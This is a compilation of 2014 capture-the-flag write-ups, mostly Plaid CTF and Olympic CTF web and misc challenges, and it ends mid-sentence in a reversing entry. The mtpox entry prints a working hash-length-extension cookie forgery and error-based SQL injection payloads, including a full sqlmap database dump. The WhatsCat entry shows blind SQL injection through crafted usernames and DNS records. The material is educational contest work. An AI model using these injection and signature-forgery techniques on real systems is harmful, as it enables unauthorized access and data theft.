First visit his Facebook page, he has this comment: "<span>Do u know about twitch.tv? Sometimes streaming there, look at me!"The about page writes: "</span>Screen Name: pipissimo (Other Service)"So you can find his twitch profile: http://www.twitch.tv/pipissimoIn one of his previous videos (the only one with a comment): http://www.twitch.tv/pipissimo/b/514722428 at 22:41 you can see that he shows a paper with the following text: "EVERYBODY HATES MY GUITAR SOUND" and this was the flag. |
Question: Hack the Planet_The answer to this is “!”. It is based off of a running gag from DEFCON where eachyear they use the same question, but blank out a different character/word.
If you didn't know this you could just google the phrase "Hack the Planet". |
# Plaid CTF 2014: mtpox
**Category:** Web**Points:** 150**Description:**
> The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn [his exchange](http://54.211.6.40/) has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.>> Hint: try reading things using `?page=`.
## Write-up
### Source code disclosure vulnerability
The “Index” link on the website points to [`/index.php?page=index`](http://54.211.6.40/). Playing around with that URL query string parameter reveals that the site is vulnerable to source code disclosure. We exploit this vulnerability to get the source code for [`index.php`](index.php) (via [`/index.php?page=index.php`](http://54.211.6.40/index.php?page=index.php)) and [`admin.php`](admin.php) (via [`/index.php?page=admin.php`](http://54.211.6.40/index.php?page=admin.php)).
### Hash length extension vulnerability
Reading through the source code, we learn that [`admin.php`](admin.php) has some authentication logic:
```php$auth = false;if (isset($_COOKIE["auth"])) { $auth = unserialize($_COOKIE["auth"]); $hsh = $_COOKIE["hsh"]; if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) { $auth = false; }}else { $auth = false; $s = serialize($auth); setcookie("auth", $s); setcookie("hsh", hash("sha256", $SECRET . strrev($s)));}```
Let’s focus on the `else` clause for now, i.e. the code that is executed the first time you visit the site (without a cookie):
```php$auth = false;$s = serialize($auth);setcookie("auth", $s);setcookie("hsh", hash("sha256", $SECRET . strrev($s)));```
So, the value of the `auth` cookie is `serialize(false)`, and the value of the `hsh` cookie acts as a signature for it. The cookie values for any logged out users are:
```auth=b%3A0%3Bhsh=ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3```
The value for `auth` makes sense, because in PHP, `false` serializes to `'b:0;`, and `true` serializes to `b:1;`:
```bash$ php -r 'echo serialize(false);'b:0;
$ php -r 'echo serialize(true);'b:1;```
We cannot simply change the value of the `auth` cookie from `b:0;` to `b:1;` to gain administrator rights, because the `hsh` cookie is used as a signature check. If the signature in `hsh` doesn’t match the `auth` value, we’re still not logged in.
After reading the source code more closely, we learn that the site is vulnerable to [hash length extension attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks). Here’s the vulnerable code in [`admin.php`](admin.php):
```phpif ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) { $auth = false;}```
In general, an application is susceptible to a hash length extension attack if it prepends a secret value to a string, hashes it with a vulnerable algorithm, and entrusts the attacker with both the string and the hash, but not the secret. Then, the server relies on the secret to decide whether or not the data returned later is the same as the original data.
Since `$_COOKIE["auth"]` and thus `strrev($_COOKIE["auth"])` are values under our control, we can use a hash length extension attack to append data to `strrev($_COOKIE["auth"])` so that `$SECRET . strrev($_COOKIE["auth"]))` generates a new hash that still matches the unknown prefix `$SECRET`. That hash can then be used as the value for the `hsh` cookie.
So, starting with the existing value for `strrev($_COOKIE["auth"])` (for which we know the signature hash), i.e. `;0:b`, what data should we append? We want to make it so that the value of the cookie is interpreted as `b:1;`, which reverses into `;1:b`.
Let’s use [HashPump](https://github.com/bwall/HashPump) to calculate the new signature. [The about page](http://54.211.6.40/index.php?page=about.php) reveals that `length($secret)` is `8`, but if we didn’t know that, we could still ‘bruteforce’ it by trying all key lengths from `1` to `32`.
```bash$ hashpump --keylength 8 --signature 'ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3' --data ';0:b' --additional ';1:b'967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1;0:b\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`;1:b```
Now we have a new signature hash (`967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1`) to be used as the value for the `hsh` cookie, and the new value on which the hash is based (i.e. `strrev($_COOKIE["auth"]`) along with the `$SECRET` prefix. In order to get the `auth` cookie value, we still need to reverse and URL-encode this result:
```bash$ node> var data = ';0:b\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`;1:b';> console.log(encodeURIComponent(data.split('').reverse().join('')));b%3A1%3B%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C2%80b%3A0%3B```
Just to be sure, let’s verify that this value `unserialize`s to `true` instead of `false`:
```bash$ php -r 'var_dump(unserialize(strrev(";0:b\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`;1:b")));'bool(true)```
Looking good. Now, let’s use these cookie values and reload `admin.php`:
```auth=b%3a1%3b%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3bhsh=967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1```
And we’re successfully logged in!
### SQL injection vulnerability
The `query` URL parameter for [`/admin.php`](http://54.211.6.40/admin.php?query=lol) is vulnerable to SQL injection. Let’s see what kind of data we can leak using [`sqlmap`](http://sqlmap.org/):
```bash$ sqlmap.py -u 'http://54.211.6.40/admin.php?query=abc' --cookie='auth=b%3a1%3b%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1' --dump-all
sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net
[*] starting at: 13:33:37
[13:33:37] [INFO] using '/usr/local/Cellar/sqlmap/0.9/output/54.211.6.40/session' as session file[13:33:37] [INFO] testing connection to the target url[13:33:37] [INFO] testing if the url is stable, wait a few seconds[13:33:37] [INFO] url is stable[13:33:37] [INFO] testing if GET parameter 'query' is dynamic[13:33:37] [INFO] confirming that GET parameter 'query' is dynamic[13:33:37] [INFO] GET parameter 'query' is dynamic[13:33:37] [INFO] heuristic test shows that GET parameter 'query' might be injectable (possible DBMS: MySQL)[13:33:37] [INFO] testing sql injection on GET parameter 'query'[13:33:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[13:33:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[13:33:37] [INFO] GET parameter 'query' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable[13:33:37] [INFO] testing 'MySQL > 5.0.11 stacked queries'[13:33:37] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[13:33:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'[13:33:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'GET parameter 'query' is vulnerable. Do you want to keep testing the others? [y/N] ysqlmap identified the following injection points with a total of 33 HTTP(s) requests:---Place: GETParameter: query Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: query=abc AND (SELECT 1000 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,119,100,58),(SELECT (CASE WHEN (1000=1000) THEN 1 ELSE 0 END)),CHAR(58,108,110,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)---
[13:33:37] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Debian or Ubuntuweb application technology: Apache 2.2.22, PHP 5.4.4back-end DBMS: MySQL 5.0[13:33:37] [INFO] sqlmap will dump entries of all databases' tables now[13:33:37] [INFO] fetching tables[13:33:37] [INFO] fetching database names[13:33:37] [INFO] the SQL query used returns 2 entries[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: mtpox[13:33:37] [INFO] the SQL query used returns 41 entries[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: CHARACTER_SETS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: COLLATIONS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: COLLATION_CHARACTER_SET_APPLICABILITY[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: COLUMNS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: COLUMN_PRIVILEGES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: ENGINES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: EVENTS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: FILES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: GLOBAL_STATUS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: GLOBAL_VARIABLES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: KEY_COLUMN_USAGE[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: PARAMETERS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: PARTITIONS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: PLUGINS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: PROCESSLIST[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: PROFILING[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: REFERENTIAL_CONSTRAINTS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: ROUTINES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: SCHEMATA[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: SCHEMA_PRIVILEGES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: SESSION_STATUS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: SESSION_VARIABLES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: STATISTICS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: TABLES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: TABLESPACES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: TABLE_CONSTRAINTS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: TABLE_PRIVILEGES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: TRIGGERS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: USER_PRIVILEGES[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: VIEWS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_BUFFER_PAGE[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_TRX[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_BUFFER_POOL_STATS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_LOCK_WAITS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_CMPMEM[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_CMP[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_LOCKS[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_CMPMEM_RESET[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_CMP_RESET[13:33:37] [INFO] retrieved: information_schema[13:33:37] [INFO] retrieved: INNODB_BUFFER_PAGE_LRU[13:33:37] [INFO] retrieved: mtpox[13:33:37] [INFO] retrieved: plaidcoin_wallets[13:33:37] [INFO] fetching columns for table 'plaidcoin_wallets' on database 'mtpox'[13:33:37] [INFO] the SQL query used returns 2 entries[13:33:37] [INFO] retrieved: id[13:33:37] [INFO] retrieved: varchar(40)[13:33:37] [INFO] retrieved: amount[13:33:37] [INFO] retrieved: int(30)[13:33:37] [INFO] fetching entries for table 'plaidcoin_wallets' on database 'mtpox'[13:33:37] [INFO] the SQL query used returns 1 entries[13:33:37] [INFO] retrieved: 1333337[13:33:37] [INFO] retrieved: flag{phpPhPphpPPPphpcoin}Database: mtpoxTable: plaidcoin_wallets[1 entry]+---------+---------------------------+| amount | id |+---------+---------------------------+| 1333337 | flag{phpPhPphpPPPphpcoin} |+---------+---------------------------+
[13:33:37] [INFO] Table 'mtpox.plaidcoin_wallets' dumped to CSV file '/usr/local/Cellar/sqlmap/0.9/output/54.211.6.40/dump/mtpox/plaidcoin_wallets.csv'[13:33:37] [INFO] fetching columns for table 'CHARACTER_SETS' on database 'information_schema'[13:33:37] [INFO] the SQL query used returns 4 entries[13:33:37] [INFO] retrieved: CHARACTER_SET_NAME…```
The flag is `flag{phpPhPphpPPPphpcoin}`.
For the record, the payload `sqlmap` used to get the flag was:
```bash$ curl --cookie 'auth=b%3a1%3b%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1' 'http://54.211.6.40/admin.php?query=abc%20AND%20%28SELECT%203497%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%28CHAR%2858%2C103%2C99%2C121%2C58%29%2C%28SELECT%20MID%28%28IFNULL%28CAST%28id%20AS%20CHAR%29%2CCHAR%2832%29%29%29%2C1%2C50%29%20FROM%20mtpox.plaidcoin_wallets%20LIMIT%200%2C1%29%2CCHAR%2858%2C118%2C117%2C112%2C58%29%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20information_schema.tables%20GROUP%20BY%20x%29a%29'Query failed: Duplicate entry ':gcy:flag{phpPhPphpPPPphpcoin}:vup:1' for key 'group_key'```
## Other write-ups and resources
* <http://conceptofproof.wordpress.com/2014/04/13/plaidctf-2014-web-150-mtgox-writeup/>* <https://blog.skullsecurity.org/2014/plaidctf-web-150-mtpox-hash-extension-attack>* <http://achatz.me/plaid-ctf-mt-pox/>* [Source code for this challenge, released after the CTF](https://github.com/pwning/plaidctf2014/tree/master/web/mtpox)* <https://github.com/hackerclub/writeups/blob/master/plaidctf-2014/mtpox/WRITEUP-arthurdent.md>* [Indonese](http://blog.rentjong.net/2014/04/plaidctf2014-write-up-mtpox-web150.html)* [Russian](http://blog.nostr.ru/2014/04/mtpox-web-150-pts-plague-has-traveled.html)* <https://systemoverlord.com/blog/2014/04/14/plaidctf-mtpox/> |
# Plaid CTF 2014: WhatsCat
**Category:** Web**Points:** 300**Description:**
> The Plague is using his tremendous talent for web applications to build social websites that will get bought out for billions of dollars. If you can stop his climb to power now by showing how insecure [this site really is](http://54.196.116.77/), (on IPv6 at 2001:470:8:f7d::1) maybe we will be able to stop his future reign of terror. [Here](whatscat-59b6f6c9b192457fa3e7d2253c8b24c9.tar.bz2)'s some of his source.
## Write-up
The source code in the tarball has a SQL injection vulnerability in the `login` file.
```php$pwnew = "cat".bin2hex(openssl_random_pseudo_bytes(8));if ($res) { echo sprintf("Don't worry %s, we're emailing you a new password at %s", $res->username,$res->email); echo sprintf("If you are not %s, we'll tell them something fishy is going on!", $res->username);$message = <<<CATHello. Either you or someone pretending to be you attempted to reset your password.Anyway, we set your new password to $pwnew
Don't worry %s, we're emailing you a new password at %s
If you are not %s, we'll tell them something fishy is going on!
If it wasn't you who changed your password, we have logged their IP information as follows:CAT; $details = gethostbyaddr($_SERVER['REMOTE_ADDR']). print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true); mail($res->email,"whatscat password reset",$message.$details,"From: [email protected]\r\n"); mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'", $pwnew,$details,$res->username));}else { echo "Hmm we don't seem to have anyone signed up by that name";}```
There’s no way the generated value of `$pwnew` could ever contain `'`, so we can’t use that as part of the exploit. The same goes for the user’s IP address (`$_SERVER['REMOTE_ADDR']`).
However, `dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR']))` is also used in the query without proper escaping. So we could get a server, change its [DNS PTR record](http://en.wikipedia.org/wiki/Reverse_DNS_lookup) so the server IP points to a domain name under our control, and configure a TXT record that contains a SQL injection payload on that domain. [Alexey Kaminsky has a write-up detailing this solution.](http://akaminsky.net/plaidctf-quals-2014-web-300-whatscat/) Alternatively, you could set up your own DNS server for this challenge, and have it automatically inject TXT records with the payload, [like @phiber did](https://gist.github.com/anonymous/ea292c8dc60a2d8fba50).
Another option is to hide the SQL injection payload in the username. The downside of this approach is that since the username is reflected in the `WHERE` clause of the query, only blind SQL injection is possible. Still, it’s possible to slowly leak data:
1. Register with username `foo`.2. Register with username `foo' and 21=(select length(flag) from flag)#`.3. Request a password reset for the second user.4. Log in with the first username and its original password. If the password is rejected, then the condition in the payload (in this case `21 == length(flag)` is true, else it’s false.
After discovering the table and column name where the flag is hidden (they’re both `flag`), we can repeat this process to figure out what the flag is, one character at a time. For example, the username `foo' and (select ascii(substr(flag,1,1) from flag) between 97 and 122#` can be used to find out if the first character of the flag is a lowercase letter in the `[a-z]` range or not.
@ngocdh wrote [a neat solution in Python](https://gist.github.com/anonymous/f4e884a234ba5d3c9d37) that uses a clever implementation of this technique: it uses binary search to decrease the time needed to find the correct character.
The flag is `20billion_d0llar_1d3a`.
## Other write-ups and resources
* [Write-up by Alexey Kaminsky](http://akaminsky.net/plaidctf-quals-2014-web-300-whatscat/)* [Write-up by Tasteless](http://tasteless.eu/2014/04/plaidctf-2014-whatscat-writeup/)* [Write-up by Ron Bowes](https://blog.skullsecurity.org/2014/plaidctf-writeup-for-web-300-whatscat-sql-injection-via-dns)* [Python solution that figures out the flag character by character, by @ngocdh](https://gist.github.com/anonymous/f4e884a234ba5d3c9d37)* [Custom DNS server to perform SQL injection through rDNS records, by @phiber](https://gist.github.com/anonymous/ea292c8dc60a2d8fba50)* [Source code for this challenge, released after the CTF](https://github.com/pwning/plaidctf2014/tree/master/web/whatscat) |
# Plaid CTF 2014: halphow2js
**Category:** Web**Points:** 200**Description:**
> Javascript is everywhere. But there is [one strange javascript blob](https://54.196.246.17:8001/) we have been seeing pop up on servers throughout the ages. We're pretty sure The Plague must be involved.>> Note: we know the cert displays a warning - that isn't important.
## Write-up
[The HTML source for the website linked to in the description](index.html) reveals [`script.js`](script.js), a polyglot JavaScript file that runs in both the browser and in Node.js.
Reading through the code makes it clear that the client-side section of the script prompts the user for input five times, and then submits that data to the server. If the input matches certain conditions, the flag is returned, else, the process starts over.
The data is sent using a GET request to `https://54.196.246.17:8001/myajax?x=1&y=2&z=3&w=4&ww=5`. The server-side section of the script validates these URL query string parameters as follows: if `FLAG` (a value unknown to us) is equal to `filter(query.x, query.y, query.z, query.w, query.ww)`, then the flag is revealed.
Let’s take a closer look at that `filter` function:
```jsfunction filter() { var args = [].slice.apply(arguments).sort().filter(function(x, i, a) { return a.indexOf(x) == i; }); if (args.length != 5) return "uniq";
var flag = false; args.map(function(x) { flag |= x >= 999; }); if (flag) return "big";
var m = args.map(mystop);
if (m.filter(function(x, i) { return m[2] + 3 * i == x; }).length < 3) { return "unsexy"; } if (m.filter(function(x, i) { return x == args[i]; }).length < 3) { return "hippopotamus"; } if (m.filter(function(x, i) { return x > m[i-1]; }).length > 3) { return "banana phone"; }
return FLAG;}```
We can make the following observations:
* First, the arguments are lexicographically sorted. This effectively means that `?x=1&y=2&z=3&w=4&ww=5` and `?x=5&y=4&z=3&w=2&ww=1` have the same effect, which reduces the number of combinations to test in a brute-force scenario.* It takes exactly five unique arguments. If not, the function exits early, and we won’t get to the flag. Once again, this makes brute-forcing a bit easier.* If for any of the arguments `x` the expression `x >= 999` holds true, the function exits early, and we won’t get to the flag.* `mystop(x)` is then called for each argument `x`, which can take several minutes depending on the value of `x`. The resulting list of arguments (`m`) must match certain conditions, else the function exits early, and we won’t get to the flag.
At this point it’s tempting to start bruteforcing by sending all possible sets of five numeric values below `999` to the server. That’s several trillions of possible combinations, though… It also doesn’t help that the server-side code only sends a response after at least 2 seconds. Brute-forcing is not exactly feasible for this challenge.
Remember the `query.x`, `query.y`, `query.z`, `query.w`, and `query.ww` values that are validated on the server-side? [They’re string values](http://nodejs.org/api/querystring.html#querystring_querystring_parse_str_sep_eq_options), and the script never explicitly casts them into numbers. This means we can pick any string values `x` for the parameters, as long as `x >= 999` evaluates to `false`.
So instead of trying to find the perfect combination of numbers, we can just pick any five strings that can be coerced into numbers, and then format them in different ways until all validation checks are passed. For example, the number `5` can also be written as `5.`, `5.0`, `5.00`, or `5e0` in JavaScript. And because the values are strings that are coerced to numbers (equivalent to `Number(string)`) we can even pad the values with whitespace, e.g. `" 5"` or `"5 "` instead of `"5"`.
After some manual fiddling with various numbers and formats, we found a working set of values:
```js// This code assumes the `filter` function and its dependencies are declared as// in the provided `script.js`.var FLAG = 'Congratulations!';console.log(filter('2.0', '2.00', '2.000', '7', '76'));// → 'Congratulations!'```
Now we can open <https://54.196.246.17:8001/> and enter the values one by one, after which the flag is shown in an alert box. But using `curl` is simpler:
```bash$ curl --insecure 'https://54.196.246.17:8001/myajax?x=2.0&y=2.00&z=2.000&w=7&ww=76'w00t_i_are_mastar_web_hackar```
The flag is `w00t\_i\_are\_mastar\_web\_hackar`.
## Other write-ups and resources
* <http://balidani.blogspot.com/2014/04/plaidctf-halphow2js-writeup.html>* [Source code for this challenge, released after the CTF](https://github.com/pwning/plaidctf2014/tree/master/web/halphow2js)* <http://j00ru.vexillium.org/dump/ctf/halphow2js.txt> |
# Olympic CTF 2014: Just No One
**Category:** Binathlon (Bin)**Points:** 10**Author:** vos**Description:**
> Here’s your binary: [`setup.exe`](setup.exe)
## Write-up
The provided `setup.exe` file is a standard installation wizard.
As usual with these wizards, the second screen contains a very long license agreement that must be accepted before continuing the installation.
The next screen prompts for a password. Which password? Hmm… It’s possible to [crack it](http://maroueneboubakri.blogspot.com/2014/02/olympic-ctf-sochi-2014-binathlon-10.html) and then proceed with the installation, but that doesn’t really help, because when the executable is opened, it just repeats “You already saw the flag.”:
And indeed — after running `setup.exe` again and carefully reading the license agreement this time, we notice something unusual:
The flag is `ILOVEREADINGEULAS`.
## Other write-ups and resources
* <http://maroueneboubakri.blogspot.com/2014/02/olympic-ctf-sochi-2014-binathlon-10.html>* <https://ctftime.org/writeup/926>* <http://cybersecurity.cci.fsu.edu/olympic-ctf-2014-writeup/>* <http://delimitry.blogspot.ru/2014/02/olympic-ctf-2014-writeups.html>* <http://ctfwriteups.blogspot.jp/2014/02/olympic-ctf-2014-binathlon-10-just-no.html>* [Chinese](http://ddaa.logdown.com/posts/178446-olympic-ctf-2014-10-point-summary) |
# Olympic CTF 2014: Make similar
**Category:** Freestyle (Misc.)**Points:** 400**Author:** psb**Description:**
> [Listen](similar.ogg) carefully and try to figure out. Hint: 120 LPM>> _Flag format: `CTF{..32 hexes..}`_
## Write-up
The “120 LPM” hint refers to [weather fax](http://en.wikipedia.org/wiki/Radiofax), an analog mode for transmitting monochrome images.
There’s an OS X application called [Multimode](http://www.blackcatsystems.com/software/multimode/fax.html#HOWREC) which can be used to convert the audio back into the original fax images. It only accepts WAV files as input though, so first I converted [`similar.ogg`](similar.ogg) to `similar.wav` using Audacity. The result looks something like this:
The text is the following:
```section 1 of 1 of file rfax_manbegin 644 rfax_manh5sg60BSxwp62+57aMLVTPK3i9b-t+5pGLKyPA-FxxuysvFs+BT8+o0dVsM24hcZHRaWYEHRBGFGtqk-cMV7oqqQRzbobGRB9Kwc-pTHzCDSSMJorR8d-pxdqdhLWpvQWRv-N33mFwEicqz+UFkDYsbDvrfOC7tko5g1JrrSX0swhn64neLsohrh26K1mSxnS+TF1Cta8GHHQ-t1Cfp7nh-oZeFuVi5MEynqyzX8kMtXcAynSLQxhg4o56Pu4YUZHMqDGtczKeCwXU8PZEc4lY0FbDfFfgZpJFC-a-sHGLtGJgCMZhksr6XNTedEUdVJqxOO5VaReoH68eEPJ2m6d9mKhlhVE7zw4Yru4DUWRCJH28hyeth+l2I0gPnEfrTLwAc+-TPS0YKYY3K0np58gVPgdAN8RY7+rQfRDin9JSahPG32WG7-rTl3uthvrnDO-wD09GDIRCniuoefs8UsfiWZOLq+0awOrQxAPM+ChxLwOJ9VUKwdn7dJduLn1KhBucvL1pr5lGiBFfUbL79cFFex+G27kT+fsQ7X5h87mgPivWhDSQHKPXqpKGniDkYsIYpg66ZWbHp4PfcgtPukElDWENlQPSuNAQhnboE4Bd8kyyokt67GgfGvBVS45sMFPtlgKRlG-QPFSgbMHujA3qYemxnuqGxhp97aXpdKpvAE8zx-oUzazoVFz32X3OxAuiWJhKEjaYKpM7f95yv1S62v+k+++endsum —r/size 7468/769 section (from "begin" to "end")sum —r/size 36513/540 entire input file```
This looks like [xxencoded](http://en.wikipedia.org/wiki/Xxencoding) text. Let’s [decode it using an online xxdecoder](http://www.webutils.pl/XXencode). This results in a file named `rfax_man`. What could it be?
```bash$ file rfax_manrfax_man: gzip compressed data, was "rfax_man.py", from FAT filesystem (MS-DOS, OS/2, NT), last modified: Thu Feb 6 17:52:39 2014, max speed```
It’s gzip-compressed data! Let’s find out what it is:
```bash$ gunzip < rfax_man > rfax_man_unzipped```
It seems `rfax_man_unzipped` is a Python script:
```pythonimport socket,os,sys,hashlib
KEY = "CTF{4BDF4498E4922B88642D4915C528DA8F}" # DO NOT SHARE THIS!HOST = '109.233.61.11'PORT = 8001
if len(sys.argv)<3: print 'Usage: rfax_man.py add|del file.png' print '\nAdd your pictures to transmission!\nSizes: 800<=width<=3200 and height/width <= 2.0.\nUse contrast grayscale pictures.' sys.exit(0)
data=open(sys.argv[2],'rb').read(1000000)
m=hashlib.md5(); m.update(KEY); KEYH=m.hexdigest().upper()m=hashlib.md5(); m.update(data); h=m.hexdigest().upper()print 'File hash',h
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))print 'Connected.'
if sys.argv[1]=='add': s.sendall(KEYH+':ADD:'+data) s.shutdown(socket.SHUT_WR) print s.recv(1024)elif sys.argv[1]=='del': s.sendall(KEYH+':DEL:'+h) print s.recv(1024)
s.close()print 'Done.'```
That third line looks interesting. The key is `CTF{4BDF4498E4922B88642D4915C528DA8F}`.
## Other write-ups and resources
* <http://www.pwntester.com/blog/2014/02/10/olympic-ctf-freestyle-400-make-similar-write-up/>* <https://isisblogs.poly.edu/2014/02/10/make-similiar-olympic-ctf-2014-writeup/> |
# Olympic CTF 2014: Trivial
**Category:** Freestyle (Misc.)**Points:** 10**Author:** vos**Description:**
> Hack the Planet\_
## Write-up
At DEF CON CTF there’s a running gag where each year they have a challenge where the only description is “Hack the Planet!” with one character or word blanked out.
This is the same thing. In this case, the missing character is the `!` at the end, so the flag is `!`.
## Other write-ups and resources
* <https://www.youtube.com/watch?v=drJWxMLrpE0>* <http://cybersecurity.cci.fsu.edu/olympic-ctf-2014-writeup/>* <https://ctftime.org/writeup/929>* <http://delimitry.blogspot.ru/2014/02/olympic-ctf-2014-writeups.html>* [Chinese](http://ddaa.logdown.com/posts/178446-olympic-ctf-2014-10-point-summary)* [French](http://troll-me.fr/ctf-olympic-ctf-2014-quelques-writeups/) |
# Plaid CTF 2014: multiplication is hard
**Category:** Misc**Points:** 10**Description:**
> The Plague went back in time... but we haven't yet figured out what he did this time... Anyway, what is 38.55 * 1700?
## Write-up
Mathematically, `38.55 * 1700 = 65535` but that solution was not accepted.
Years ago (“back in time”), [Excel used to have a bug](http://blogs.office.com/2007/09/25/calculation-issue-update/) where calculations that resulted in a number close to 65,535 would instead show a result of 100,000.
The flag is `100000`.
## Other write-ups and resources
* <https://github.com/hackerclub/writeups/blob/master/plaidctf-2014/multiplication-is-hard/WRITEUP-pipecork.md>* <http://csrc.tamuc.edu/css/?p=152> |
# Plaid CTF 2014: g++
**Category:** Reversing**Points:** 200**Description:**
> Although it seems like The Plague's projects are open source, it's not quite so simple to figure out what the source code does. We believe [this project](g++-30f6a74ce24ea3605ba7cbec92222a72.tar.bz2) is supposed to print out secret information, but the KEY variable in the Makefile has been lost. Find the key, build the project, get us the information.
## Write-up
_This write-up is made by Xor0X of [HacknamStyle](http://hacknamstyle.net/)._
In the `Makefile` a key can be configured. Using a simple script the key is converted to the header file `key.h`. The character at index `i` with ASCII value `v` is encoded as `K(i, v)`. So the password `test` becomes:
